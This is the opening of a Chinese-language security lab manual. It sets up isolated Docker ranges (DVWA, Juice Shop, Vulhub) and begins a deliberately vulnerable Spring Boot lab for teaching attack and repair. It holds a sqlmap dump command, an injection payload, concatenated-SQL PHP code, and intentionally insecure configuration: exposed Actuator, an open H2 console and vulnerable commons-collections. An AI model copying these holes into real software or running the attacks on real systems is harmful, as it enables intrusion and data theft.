安全靶场实战 — 从零复现到加固验证
安全靶场实战 — 从零复现到加固验证
这份文档和 11 号有什么区别?
11 号《安全攻防与系统加固》 12 号《安全靶场实战》(本文) 定位 知识库、面试题库 实验手册 讲什么 漏洞原理、代码怎么写、怎么防 怎么亲手把它打出来 形式 讲解 + 代码 + 面试题 命令 + 输出 + 截图要点 + 复测 读完你会 说得清楚 做得出来 行数 3 万行 你手上这份 11 号告诉你“SQL 注入要用预编译”,本文带你
sqlmap -u "http://target?id=1" --dbs把库名拖出来,再把代码改成预编译,最后跑一遍复测脚本确认真的堵住了。为什么要动手打一遍?
三个理由,都很实在:
① 看和做之间隔着一道鸿沟。 你可能背得下“SSRF 可以打 Redis”,但从没想过
gopher://后面那一长串到底怎么构造。亲手做一遍,那些“魔法字符串”就变成了你能推导出来的东西。② 面试时“我复现过”比“我知道”值钱十倍。 当面试官问“Shiro-550 的原理”,你说“我在本地用 Vulhub 起过环境,用 ysoserial 生成 payload,改了 Cookie 里的 rememberMe 字段拿到了 shell,然后发现修复的关键是换掉那个硬编码的默认密钥”——这和背答案完全是两个level。
③ 你会开始用攻击者的眼睛看自己的代码。 搭过靶场之后,你写
Runtime.exec(cmd)时手会抖,看到new URL(userInput).openConnection()会本能地想“这里能不能打 SSRF”。这种条件反射才是安全的真正价值。阅读建议
你的情况 怎么读 零基础,第一次碰安全 顺着读。第 0 章环境搭好,从第 2 章 SQL 注入开始,每个实验都做完再往下 有基础,想补齐实操 跳到 0.3 靶场清单,挑你没做过的章节 准备面试,想攒实战故事 重点做 ★ 标星的 6 个实验(2.2 sqlmap / 5.2 gopher 打 Redis / 6.4 Shiro-550 / 6.5 Log4Shell / 7.1 Redis 未授权 / 8.3 K8s 集群接管),每个都能讲 5 分钟 想做安全岗 全部做一遍,然后自己改 payload、写 PoC、尝试绕过自己配的防御
0.1 法律与道德红线(★ 先读这个,不要跳过)
╔══════════════════════════════════════════════════════════════╗
║ 本文所有技术仅用于: ║
║ ① 在你自己搭建的本地靶场里学习 ║
║ ② 对你拥有/被书面授权的系统做安全测试 ║
║ ③ 安全研究、教学、面试准备 ║
║ ║
║ 未经授权对他人系统进行测试,在中国大陆可能触犯: ║
║ 《刑法》第 285 条 非法侵入计算机信息系统罪 ║
║ 《刑法》第 286 条 破坏计算机信息系统罪 ║
║ 《网络安全法》第 27 条 ║
║ ║
║ ★ 三条铁律: ║
║ 1. 只在自己电脑上、自己的 Docker 网络里打 ║
║ 2. 靶场用独立的 Docker 网络,永远不要暴露到公网 ║
║ 3. 真要测公司系统,必须有书面授权(邮件/盖章文件) ║
╚══════════════════════════════════════════════════════════════╝
本文所有靶场都跑在 Docker 里,用 --network 隔离,默认只监听 127.0.0.1,不会对你的真实网络造成任何影响。
0.2 实验环境准备(一次搞定)
0.2.1 你需要什么
| 项目 | 要求 | 说明 |
|---|---|---|
| 操作系统 | Windows(WSL2)/ macOS / Linux | 本文命令以 Linux 为主,Windows 用户用 WSL2 或 Git Bash |
| Docker | 20.10+ | ★ 本文 95% 的环境靠它,必须装 |
| Docker Compose | v2+ | 新版 Docker Desktop 已内置(docker compose 无横杠) |
| 内存 | ≥ 8 GB | 建议 16 GB,同时开几个靶场会吃内存 |
| 磁盘 | ≥ 30 GB 可用 | 镜像都比较大 |
| Python | 3.8+ | 跑 sqlmap、ysoserial 的辅助脚本 |
| Java | 8 或 11 | 跑 ysoserial、Shiro 利用工具 |
★ Windows 用户特别说明:
- 强烈建议用 WSL2 + Docker Desktop,比 Git Bash 少 90% 的坑
- 如果只能用 Git Bash,注意路径转换:Docker 挂载要用
/d/path而不是D:\path - 本文命令在 Git Bash 下可能需要把
docker run -v $(pwd)改成docker run -v /$(pwd)
0.2.2 一键检查环境
# 保存为 check_env.sh,跑一遍看看缺什么
cat > check_env.sh <<'EOF'
#!/usr/bin/env bash
echo "========== 环境检查 =========="
check() {
if command -v "$1" >/dev/null 2>&1; then
printf " ✓ %-12s %s\n" "$1" "$($1 --version 2>&1 | head -1)"
else
printf " ✗ %-12s 未安装\n" "$1"
fi
}
check docker
check python3
check java
check curl
check git
check nc
echo ""
echo "---------- Docker 状态 ----------"
if docker info >/dev/null 2>&1; then
echo " ✓ Docker 守护进程运行中"
echo " 镜像数: $(docker images -q 2>/dev/null | wc -l)"
echo " 容器数: $(docker ps -aq 2>/dev/null | wc -l)"
else
echo " ✗ Docker 未运行或没有权限"
fi
echo ""
echo "---------- 网络(靶场专用网) ----------"
docker network ls 2>/dev/null | grep -E "lab|vulhub" || echo " 未创建靶场网络(正常,第 1 章会创建)"
echo "================================="
EOF
chmod +x check_env.sh && ./check_env.sh
预期输出(你的版本号可能不同):
========== 环境检查 ==========
✓ docker Docker version 24.0.7, build afdd53b
✓ python3 Python 3.11.4
✓ java openjdk version "11.0.20" 2023-07-18
✓ curl curl 8.1.2
✓ git git version 2.41.0
✓ nc netcat
---------- Docker 状态 ----------
✓ Docker 守护进程运行中
镜像数: 12
容器数: 3
---------- 网络(靶场专用网) ----------
=================================
0.2.3 创建靶场专用网络(★ 隔离用,很重要)
# 创建一个专用的 Docker 网络,所有靶场都放进来
docker network create --subnet=172.20.0.0/16 lab-net
# 验证
docker network inspect lab-net --format '{{.IPAM.Config}}'
# 预期输出:[{172.20.0.0/16 172.20.0.1 map[]}]
# 查看所有网络
docker network ls
# 预期输出里应该能看到 lab-net
为什么要单独建网络?
三个原因:
- 隔离:靶场容器之间可以互通(模拟内网),但和你的其他容器隔开
- 可控:你可以随时
docker network rm lab-net一键清掉所有靶场网络- 安全:避免靶场容器意外和你真实的服务在同一网络里
★ 关键安全实践:所有端口映射都绑定
127.0.0.1,格式是-p 127.0.0.1:8080:80而不是-p 8080:80。 后者的意思是“监听所有网卡”,如果你的电脑在公共 Wi-Fi 上,同网段的人也能访问你的靶场。 (这个坑在 11 号 7.5 节讲过:Docker 的-p会绕过 ufw/iptables,防火墙“拦住”了但端口还是公网的)
0.3 靶场与工具清单
0.3.1 靶场一览
| 靶场 | 类型 | 覆盖漏洞 | 难度 | 用的章节 | 起服务耗时 |
|---|---|---|---|---|---|
| DVWA | PHP Web 应用 | SQLi、XSS、CSRF、文件上传、命令注入、文件包含 | 入门 | 2、3、4 | 1 分钟 |
| Juice Shop | Node.js 现代应用 | OWASP Top 10 全覆盖,含业务逻辑漏洞 | 中 | 3、9 | 1 分钟 |
| Vulhub | 真实 CVE 环境集合 | Shiro、Log4Shell、Fastjson、Redis、Nacos、Jenkins… | 中高 | 5、6、7 | 每个 1 分钟 |
| DVGA | GraphQL 应用 | GraphQL 特有漏洞 | 中 | 9(拓展) | 1 分钟 |
| 自建 Spring Boot 靶场 | Java | ★ 最贴近你的技术栈:SpEL、Actuator、反序列化、SSRF | 中 | 2、5、6、7 | 5 分钟 |
| kind / minikube | 本地 K8s 集群 | 容器逃逸、RBAC 滥用、SA token | 高 | 8 | 5 分钟 |
名词解释:
- 靶场(Range / Lab):故意写了很多漏洞的练习环境,专门给你“合法地”攻击用。类比:驾校的训练场,撞了不赔钱。
- Vulhub:一个开源项目,把历史上真实发生过的漏洞(CVE)做成了一键启动的 Docker 环境。每个漏洞一个目录,进去
docker compose up -d就起来了。它是本文用得最多的靶场。- CVE(Common Vulnerabilities and Exposures,通用漏洞披露):给每个公开漏洞编的唯一编号,格式
CVE-2021-44228(这就是 Log4Shell)。- PoC(Proof of Concept,概念验证):一段能证明漏洞确实存在的代码或请求。只到“证明存在”为止,通常不造成实际破坏。
- EXP(Exploit,利用):在 PoC 基础上更进一步,真正达成攻击目的(拿 shell、拖库)的完整工具。
- Payload(有效载荷 / 攻击载荷):你塞进请求里的那段“恶意数据”本身。比如 SQL 注入里的
' or 1=1--就是 payload。
0.3.2 工具一览
| 工具 | 用途 | 安装方式 | 章节 |
|---|---|---|---|
| Burp Suite Community | 抓包改包、重放、爆破 | 官网下载 | 全篇 |
| sqlmap | SQL 注入自动化 | pip install sqlmap |
2 |
| Nuclei | 漏洞批量扫描(模板驱动) | go install 或下载二进制 |
9 |
| ffuf | 目录/参数/子域名爆破 | go install |
9 |
| ysoserial | 生成 Java 反序列化 payload | 下载 jar | 6 |
| CommonsCollections 利用链 | 配合 ysoserial | 内置 | 6 |
| redis-cli | Redis 客户端 | apt install redis-tools |
5、7 |
| gitleaks | Git 密钥扫描 | 下载二进制 | 9 |
| BeEF | 浏览器劫持框架(XSS 后续) | Docker | 3 |
| kubectl | K8s 命令行 | 官方安装 | 8 |
| trivy | 镜像/依赖漏洞扫描 | 官方脚本 | 9 |
名词解释:
- Burp Suite:一个拦截代理。它坐在你的浏览器和目标网站之间,你能看到每一个请求、并且在发送前修改它。这是 Web 安全测试的核心工具。类比:邮局里能拆开你的信、改完再封上的人。
- sqlmap:自动化 SQL 注入工具。你给它一个 URL,它自动判断注入点、猜数据库类型、拖库、甚至拿 shell。
- Nuclei:基于“模板”的扫描器。社区贡献了几千个模板,每个模板对应一个已知漏洞的检测+验证方法。特点是快、误报低。
- ffuf:模糊测试工具(Fuzz)。拿字典去爆破目录、参数、子域名。名字里的
ff是 “Fuzz Faster”。- ysoserial:Java 反序列化利用工具。它把已知的 Gadget Chain 打包好,你只需要指定“用哪条链 + 执行什么命令”,它就生成对应的序列化数据。
- Gadget Chain(利用链):见 11 号 C15。简单说就是“一串现成类的组合”,拼起来能从反序列化入口一路执行到
Runtime.exec()。
0.4 本文档名词速查
读任何一章之前,先扫一眼这个表。 遇到不认识的词,回这里查,或者去 00-名词速查手册 第十章:安全。
| 术语 | 全称 / 英文 | 一句话白话 | 首次出现 |
|---|---|---|---|
| 靶场 | Range / Lab | 故意留了漏洞的练习环境,给你合法地打 | 0.3 |
| PoC | Proof of Concept | 证明漏洞存在的代码/请求,通常不搞破坏 | 0.3 |
| EXP | Exploit | 真正达成攻击目的的完整利用工具 | 0.3 |
| Payload | 有效载荷 | 你塞进请求里的那段恶意数据本身 | 0.3 |
| CVE | Common Vulnerabilities and Exposures | 漏洞的唯一编号,如 CVE-2021-44228 | 0.3 |
| CVSS | Common Vulnerability Scoring System | 漏洞严重性评分,0~10 分 | 0.5 |
| Webshell | Web Shell | 藏在网站里的“远程控制器”,一个文件就能操控服务器 | 2.7 |
| GetShell | — | 拿到服务器的命令执行权限(安全圈的黑话) | 2.7 |
| 反弹 Shell | Reverse Shell | ★ 让目标主动连你(而不是你去连它),绕过防火墙 | 2.7 |
| 正向 Shell | Bind Shell | 目标开个端口等你去连(容易被防火墙拦) | 2.7 |
| 拖库 | — | 把整个数据库的内容导出来(黑话) | 2.2 |
| 脱库 | — | 同“拖库”,指数据库被窃取 | 2.2 |
| 盲注 | Blind SQL Injection | 页面不显示数据,只能靠“是/否”反应猜内容 | 2.3 |
| WAF | Web Application Firewall | 网站防火墙,按规则拦截恶意请求 | 2.8 |
| 时间盲注 | Time-based Blind | 用“页面响应快慢”判断真假(sleep 5 秒) | 2.3 |
| Out-of-Band | OOB | 数据不走正常响应,而是让目标主动访问你的服务器带出来 | 2.4 |
| BeEF | Browser Exploitation Framework | 劫持浏览器的框架,XSS 的后续利用工具 | 3.2 |
| 图片马 | — | 把恶意代码藏进正常图片文件里 | 4.3 |
| 文件包含 | File Inclusion | 页面用参数决定“包含哪个文件”,可以被改成任意文件 | 4.3 |
| gopher | Gopher 协议 | ★ 能构造任意 TCP 报文的古老协议,SSRF 打内网的利器 | 5.2 |
| 元数据服务 | Metadata Service | 云厂商给机器开的 169.254.169.254,能拿临时 AK |
5.3 |
| IMDS | Instance Metadata Service | 就是上面那个,AWS 的叫法 | 5.3 |
| DNS Rebinding | DNS 重绑定 | 让域名第一次解析成外网、第二次解析成内网,绕过校验 | 5.4 |
| TOCTOU | Time Of Check To Time Of Use | “检查完到使用完之间东西被换掉了” | 5.4 |
| XXE | XML External Entity | XML 外部实体注入,能读文件/打内网 | 6.1 |
| 十亿笑 | Billion Laughs | 用 XML 实体嵌套把内存撑爆的 DoS 攻击 | 6.2 |
| Gadget Chain | 利用链 | 一串现成类的组合,从反序列化入口执行到 exec | 0.3 |
| ysoserial | — | 生成 Java 反序列化 payload 的工具 | 6.3 |
| CC 链 | CommonsCollections | 最常用的 Gadget Chain,依赖 Apache CommonsCollections | 6.3 |
| JNDI | Java Naming and Directory Interface | Java 的“查名字拿对象”机制,被 Log4Shell 利用 | 6.5 |
| LDAP | Lightweight Directory Access Protocol | 目录服务协议,Log4Shell 常用它做攻击载体 | 6.5 |
| RCE | Remote Code Execution | 远程代码执行——漏洞里最严重的一类 | 全篇 |
| 未授权访问 | Unauthorized Access | 服务没设密码,谁都能连 | 7 |
| UDF 提权 | User Defined Function | 往 MySQL 里塞一个自定义函数来执行系统命令 | 7.2 |
| crontab | — | Linux 的计划任务,攻击者爱写它来做“定时执行” | 7.1 |
| 容器逃逸 | Container Escape | 从容器里“逃”到宿主机上 | 8.1 |
| SA Token | ServiceAccount Token | K8s 里 Pod 的身份凭证,在容器里能直接读到 | 8.3 |
| kind | Kubernetes in Docker | 用 Docker 容器模拟 K8s 节点,本地搭集群用 | 8.2 |
| Fuzz / 模糊测试 | Fuzzing | 用大量畸形输入去“撞”漏洞 | 9.3 |
0.5 通用实验流程(每个实验都按这个来)
┌─────────────────────────────────────────────────────────┐
│ ① 起环境 docker compose up -d │
│ 确认服务可访问(curl 或浏览器) │
│ ↓ │
│ ② 看源码 找到漏洞代码在哪(★ 不要跳过) │
│ 理解"为什么这里能被打" │
│ ↓ │
│ ③ 手工复现 用 curl / 浏览器 / Burp 手动触发 │
│ ★ 先手工,再上工具——不然你不知道工具在干什么 │
│ ↓ │
│ ④ 工具利用 sqlmap / ysoserial / Nuclei 自动化 │
│ 观察工具发了什么包(开 Burp 看) │
│ ↓ │
│ ⑤ 扩大战果 getshell / 拖库 / 横向移动 │
│ 体会"一个漏洞能走到哪一步" │
│ ↓ │
│ ⑥ 修复 改代码 / 改配置 │
│ ↓ │
│ ⑦ 复测 ★★★ 再跑一遍 ③④,确认打不动了 │
│ 不复测的修复 = 没修复 │
│ ↓ │
│ ⑧ 记录 截图 + 命令 + 输出,存进你的笔记 │
│ 面试时这就是你的"实战故事" │
└─────────────────────────────────────────────────────────┘
★ 第 ⑦ 步最容易被跳过,也最重要。
很多人“修完就完事了”,但没验证过的修复等于没修。本文每个实验都提供了复测命令,你修完必须再跑一遍,确认攻击失败。
0.6 记录模板(建议每个实验都填一份)
## 实验:[漏洞名称]
- 日期:
- 靶场:[DVWA / Vulhub-xxx / 自建]
- 难度:★☆☆☆☆
### 漏洞原理
(用自己的话写 3 句话)
### 复现步骤
1. 命令:
输出:
2. 命令:
输出:
### 关键 Payload
(贴你的 payload)
### 为什么会成功
(根因分析)
### 修复方式
(改了什么)
### 复测结果
- [ ] 原 payload 已失效,返回:
- [ ] 工具扫描无告警
### 面试怎么讲这个故事
(30 秒口述版)
为什么建议你真的写下来?
因为三个月后你会忘。而面试时能讲出细节(“我当时用的 payload 是 xxx,返回了 yyy”)和只记得“我做过”是完全不同的效果。
本文每个实验末尾都有「面试怎么讲」小节,你可以直接抄进去。
第一章:靶场环境搭建
这一章把后面所有实验要用的环境一次性搭好。建议全部装完再往下走,否则每做一章都要回来补环境,很打断节奏。
预计耗时:40 分钟(主要是拉镜像)。
1.1 靶场一:DVWA(Web 漏洞全家桶,入门首选)
1.1.1 是什么
DVWA(Damn Vulnerable Web Application):一个 PHP 写的、故意留了大量漏洞的 Web 应用。它是安全入门的“Hello World”。
内置漏洞模块:SQL 注入(含盲注)、XSS(反射/存储/DOM)、CSRF、文件上传、文件包含、命令注入、暴力破解、不安全的验证码等。
★ 它有个很贴心的地方:可以调四个安全等级(low / medium / high / impossible),同一个漏洞在四个等级下防御强度不同。你可以先打 low,再打 medium,体会“防御加了一层是什么感觉”——这是别处学不到的。
| 等级 | 防御强度 | 说明 |
|---|---|---|
| low | 无防护 | 裸奔,最容易被打 |
| medium | 半吊子防护 | 比如加了 mysql_real_escape_string()、前端下拉框限制 |
| high | 较严格 | 比如用了 prepared statement、加了 token |
| impossible | 正确实现 | 教科书级别的防御代码 |
名词解释:Damn Vulnerable —— 直译“该死的易受攻击的”。这是一个双关梗:既说明它漏洞多到“该死”,也是语气词。
1.1.2 启动
# 拉取并启动(第一次会下载镜像,约 200MB)
docker run -d \
--name dvwa \
--network lab-net \
-p 127.0.0.1:8080:80 \
-e PHPIDS=off \
vulnerables/web-dvwa
# 看启动状态
docker ps --filter name=dvwa --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"
# 预期输出:
# NAMES STATUS PORTS
# dvwa Up 30 seconds (healthy) 127.0.0.1:8080->80/tcp
# 确认能访问
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://127.0.0.1:8080/
# 预期输出:HTTP 302(会跳转到登录页)
1.1.3 初始化(★ 必须做,否则数据库是空的)
1. 浏览器打开 http://127.0.0.1:8080/
2. 自动跳转到 setup.php
3. 点页面最下方的 "Create / Reset Database" 按钮
4. 等待跳转回 login.php
5. 登录:用户名 admin,密码 password
★ 登录成功后第一件事:设置安全等级
左侧菜单 → DVWA Security
→ Security Level 选 Low
→ 点 Submit
(后面的实验需要时再改成 Medium/High)
1.1.4 常用操作
# 停止 / 启动
docker stop dvwa && docker start dvwa
# 看日志(靶场起不来时排查用)
docker logs -f dvwa
# 重置数据库(打崩了就重置)
# 浏览器访问 http://127.0.0.1:8080/setup.php → Create / Reset Database
# 完全删除(换版本时用)
docker rm -f dvwa
1.1.5 怎么找到漏洞源码
这是 DVWA 最有价值的地方——它把漏洞代码直接给你看:
页面右下角 → "View Source" 按钮
比如 SQL 注入的 low 等级源码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
$id = $_REQUEST[ 'id' ];
// ★ 没有任何处理,直接拼进 SQL
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br/>First name: {$first}<br/>Surname: {$last}</pre>";
}
}
?>
而 impossible 等级的源码(这就是标准答案):
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// ① 校验 CSRF Token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// ② ★ 白名单:id 必须是数字
$id = $_GET[ 'id' ];
if(is_numeric( $id )) {
// ③ ★ 预编译(PDO prepared statement)
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// ④ 只取一行,且用 LIMIT 1
$row = $data->fetch();
// ⑤ 输出现在还要经过 htmlspecialchars(防 XSS)
echo "<pre>ID: {$id}<br/>First name: {$first}<br/>Surname: {$last}</pre>";
}
}
?>
★ 学习方法:打完一个漏洞,一定要点开
View Source对比 low 和 impossible 两份代码。你会清楚地看到“从漏洞代码到安全代码,中间差了哪几步”——这比看任何教程都直观。
1.2 靶场二:Juice Shop(现代 Web 应用的 OWASP 靶场)
1.2.1 是什么
OWASP Juice Shop:一个用 Node.js + Angular 写的现代化电商网站,内置了 OWASP Top 10 的全部漏洞,而且设计成了一个“闯关游戏”——每发现一个漏洞就解锁一个成就。
和 DVWA 的区别:
| DVWA | Juice Shop | |
|---|---|---|
| 技术栈 | PHP(传统) | Node.js + Angular(现代 SPA) |
| 漏洞类型 | 经典 Web 漏洞 | 经典 + 业务逻辑漏洞 + 现代前端漏洞 |
| 引导方式 | 直接告诉你有什么漏洞 | ★ 闯关式,自己找 |
| 难度 | 入门 | 中高级 |
| 适合 | 学“每种漏洞长什么样” | 练“怎么在真实应用里找到漏洞” |
名词解释:SPA(Single Page Application,单页应用):整个网站只有一个 HTML 页面,内容靠 JS 动态加载。它的安全特点和传统网站不同(比如 XSS 更多是 DOM 型)。
1.2.2 启动
docker run -d \
--name juice-shop \
--network lab-net \
-p 127.0.0.1:3000:3000 \
bkimminich/juice-shop
# 等待启动(首次约 30 秒,要初始化数据库)
sleep 30
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://127.0.0.1:3000/
# 预期输出:HTTP 200
# 浏览器打开 http://127.0.0.1:3000/
1.2.3 怎么用
1. 打开 http://127.0.0.1:3000/
2. 点右上角的 "Score Board"(计分板)—— 这里列出了所有挑战
3. ★ 建议先按 Difficulty(难度)排序,从 1 星开始做
4. 每个挑战有提示(点挑战名展开)
★ 强烈建议做的 5 个挑战(对应本文其他章节):
| 挑战 | 对应漏洞 | 难度 |
|---|---|---|
| Login Admin | SQL 注入(登录绕过) | ★ |
| DOM XSS | DOM 型 XSS | ★★ |
| Forged Feedback | CSRF / 访问控制失效 | ★★ |
| Upload Size / Type | 文件上传绕过 | ★★★ |
| XXE Data Access | XXE 读文件 | ★★★★ |
提示:Juice Shop 有官方的“作弊指南”(Pwning OWASP Juice Shop 这本书),但建议你先自己试 30 分钟再看提示。找漏洞的能力本身就是你要练的东西。
1.3 靶场三:Vulhub(真实 CVE 复现,★ 本文主力)
1.3.1 是什么
Vulhub 是一个开源项目,把历史上真实发生过的漏洞做成了一键启动的 Docker 环境。
vulhub/
├── shiro/
│ └── CVE-2016-4437/ # Shiro-550 反序列化
│ ├── docker-compose.yml
│ └── README.md
├── log4j/
│ └── CVE-2021-44228/ # Log4Shell
├── fastjson/
│ ├── 1.2.24-rce/
│ └── 1.2.47-rce/
├── redis/
│ └── 未授权访问/
├── nacos/
│ └── CVE-2021-29441/
├── spring/
│ ├── CVE-2022-22947/ # Spring Cloud Gateway RCE(SpEL)
│ └── CVE-2018-1270/ # Spring Data Commons
└── ...(几百个)
每个目录进去 docker compose up -d 就能起一个真实漏洞环境,README 里有完整的复现步骤。
1.3.2 安装
# 克隆(约 200MB,包含所有环境配置)
git clone --depth 1 https://github.com/vulhub/vulhub.git ~/vulhub
cd ~/vulhub
# 看目录结构
ls
# 预期输出:activemq airflow apache apereo ... zookeeper
# 统计有多少个漏洞环境
find . -name "docker-compose.yml" | wc -l
# 预期输出:500+ 个
1.3.3 通用用法(★ 记住这三个命令就够了)
# ① 进入某个漏洞目录
cd ~/vulhub/shiro/CVE-2016-4437
# ② 启动环境
docker compose up -d
# ③ 看服务状态
docker compose ps
# 预期输出:
# NAME COMMAND SERVICE STATUS PORTS
# cve-2016-4437-web-1 "java -jar targets/…" web running 0.0.0.0:8080->8080/tcp
# 用完记得关(★ 很重要,不然一堆容器吃内存)
docker compose down
1.3.4 Vulhub 的端口安全(★ 注意)
Vulhub 的 docker-compose.yml 默认映射 0.0.0.0(监听所有网卡)。这意味着同局域网的人也能访问你的靶场。
建议修改(养成习惯):
# 进入任意漏洞目录,编辑 docker-compose.yml
# 把
ports:
- "8080:8080"
# 改成
ports:
- "127.0.0.1:8080:8080"
# 或者用 sed 批量改(谨慎,先备份)
cp docker-compose.yml docker-compose.yml.bak
sed -i 's/^\(\s*\)- "\([0-9]*\):\([0-9]*\)"/\1- "127.0.0.1:\2:\3"/' docker-compose.yml
★ 更根本的做法:直接不映射端口。因为 Vulhub 的容器都在同一个 docker-compose 的默认网络里,你可以用一个临时的攻击容器加入它的网络来访问:
# 查看靶场的网络名 docker network ls | grep cve-2016-4437 # 预期:cve-2016-4437_default # 起一个带工具的攻击容器,加入它的网络 docker run -it --rm --network cve-2016-4437_default \ -v ~/tools:/tools kalilinux/kali-rolling bash # 容器里用容器名访问靶场(Docker 内置 DNS) curl http://web:8080/这样完全不暴露端口,最安全。
1.3.5 本文会用到的 Vulhub 环境
| 漏洞 | 路径 | 章节 |
|---|---|---|
| Shiro-550 | shiro/CVE-2016-4437 |
6.4 |
| Log4Shell | log4j/CVE-2021-44228 |
6.5 |
| Fastjson 1.2.24 | fastjson/1.2.24-rce |
6.6 |
| Spring Cloud Gateway SpEL | spring/CVE-2022-22947 |
6.7 |
| Redis 未授权 | redis/未授权访问 |
7.1 |
| Nacos 未授权 | nacos/CVE-2021-29441 |
7.3 |
| Jenkins RCE | jenkins/CVE-2018-1000861 |
7.5 |
| Apache Solr XXE | solr/CVE-2017-12629 |
6.1 |
1.4 靶场四:自建 Spring Boot 漏洞靶场(★ 最贴近你的技术栈)
1.4.1 为什么要自己建一个
DVWA 是 PHP 的、Juice Shop 是 Node.js 的——都不是你的技术栈。
而面试时你面对的是 Java / Spring Boot。你需要一个能体现 Java 特有漏洞的靶场:
- MyBatis
${}注入 - SpEL 表达式注入
- Java 原生反序列化
- Spring Actuator 未授权
- SSRF(
new URL().openConnection()) - 命令注入(
Runtime.exec)
这些在 PHP 靶场里一个都没有。 所以自己搭一个。
1.4.2 项目结构
vuln-lab/
├── pom.xml
└── src/main/java/com/lab/vuln/
├── VulnLabApplication.java
├── controller/
│ ├── SqliController.java # SQL 注入(含修复版对比)
│ ├── SsrfController.java # SSRF(含绕过与修复)
│ ├── SpelController.java # SpEL 表达式注入
│ ├── DeserController.java # Java 反序列化
│ ├── CmdController.java # 命令注入
│ └── UploadController.java # 文件上传
└── resources/
├── application.yml
└── schema.sql # H2 初始化数据
1.4.3 pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.18</version>
<relativePath/>
</parent>
<groupId>com.lab</groupId>
<artifactId>vuln-lab</artifactId>
<version>1.0.0</version>
<name>vuln-lab</name>
<description>Spring Boot 漏洞靶场(仅用于本地安全学习,切勿部署到任何生产或公网环境)</description>
<properties>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- ★ 故意引入有漏洞的 commons-collections,用于反序列化实验 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- H2 内存数据库,开箱即用,不需要额外起 MySQL -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
1.4.4 配置文件
# src/main/resources/application.yml
server:
port: 8888
# ★ 故意关掉错误页的白标,让异常堆栈暴露(模拟"生产返回详细报错"的错误配置)
error:
include-message: always
include-stacktrace: always
spring:
datasource:
url: jdbc:h2:mem:labdb;DB_CLOSE_DELAY=-1
driver-class-name: org.h2.Driver
username: sa
password: # 空密码(模拟弱配置)
sql:
init:
mode: always # 启动时执行 schema.sql
h2:
console:
enabled: true # ★ 故意开 H2 Console(模拟"管理后台未授权")
path: /h2-console
# ★★ 故意暴露所有 Actuator 端点(第 7 章要用)
management:
endpoints:
web:
exposure:
include: "*"
endpoint:
heapdump:
enabled: true
env:
enabled: true
logging:
level:
com.lab.vuln: DEBUG
-- src/main/resources/schema.sql
DROP TABLE IF EXISTS users;
CREATE TABLE users (
id INT PRIMARY KEY,
username VARCHAR(50),
password VARCHAR(100),
email VARCHAR(100),
role VARCHAR(20)
);
INSERT INTO users VALUES (1, 'admin', 'admin123', 'admin@lab.com', 'ADMIN');
INSERT INTO users VALUES (2, 'alice', 'alice456', 'alice@lab.com', 'USER');
INSERT INTO users VALUES (3, 'bob', 'bob789', 'bob@lab.com', 'USER');
INSERT INTO users VALUES (4, 'charlie', 'charlie000', 'charlie@lab.com', 'USER');
DROP TABLE IF EXISTS products;
CREATE TABLE products (
id INT PRIMARY KEY,
name VARCHAR(100),
price DECIMAL(10,2),
stock INT
);
INSERT INTO products VALUES (1, 'iPhone 15', 5999.00, 100);
INSERT INTO products VALUES (2, 'MacBook Pro',12999.00, 50);
INSERT INTO products VALUES (3, 'AirPods', 1299.00, 200);
-- ★ 模拟"敏感表",拖库实验的目标
DROP TABLE IF EXISTS secrets;
CREATE TABLE secrets (
id INT PRIMARY KEY,
secret_name VARCHAR(50),
secret_val VARCHAR(200)
);
INSERT INTO secrets VALUES (1, 'db_password', 'Prod_DB@2024#SuperSecret');
INSERT INTO secrets VALUES (2, 'aws_ak', 'AKIAIOSFODNN7EXAMPLE');
INSERT INTO secrets VALUES (3, 'jwt_signing_key','ultra-secret-jwt-key-never-leak');
1.4.5 启动类
package com.lab.vuln;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
/**
* Spring Boot 漏洞靶场。
*
* ★★★ 严重警告 ★★★
* 本项目包含大量【故意留下的安全漏洞】,仅用于本地安全学习与教学。
* 严禁部署到生产环境、测试环境或任何可被公网访问的地方。
* 建议只在 127.0.0.1 上启动,并在 Docker 容器里运行。
*/
@SpringBootApplication
public class VulnLabApplication {
public static void main(String[] args) {
SpringApplication.run(VulnLabApplication.class, args);
}
}
1.4.6 SQL 注入靶场(含修复前后对比)
package com.lab.vuln.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.web.bind.annotation.*;
import java.util.*;
/**
* SQL 注入靶场。
*
* 每个漏洞接口都配了一个 /safe 版本,用于对比学习。
* ★★ 学安全最有效的方法就是"漏洞版 vs 修复版"逐行对比。
*/
@RestController
@RequestMapping("/sqli")
public class SqliController {
@Autowired
private JdbcTemplate jdbc;
// ═══════════════════════════════════════════════════════
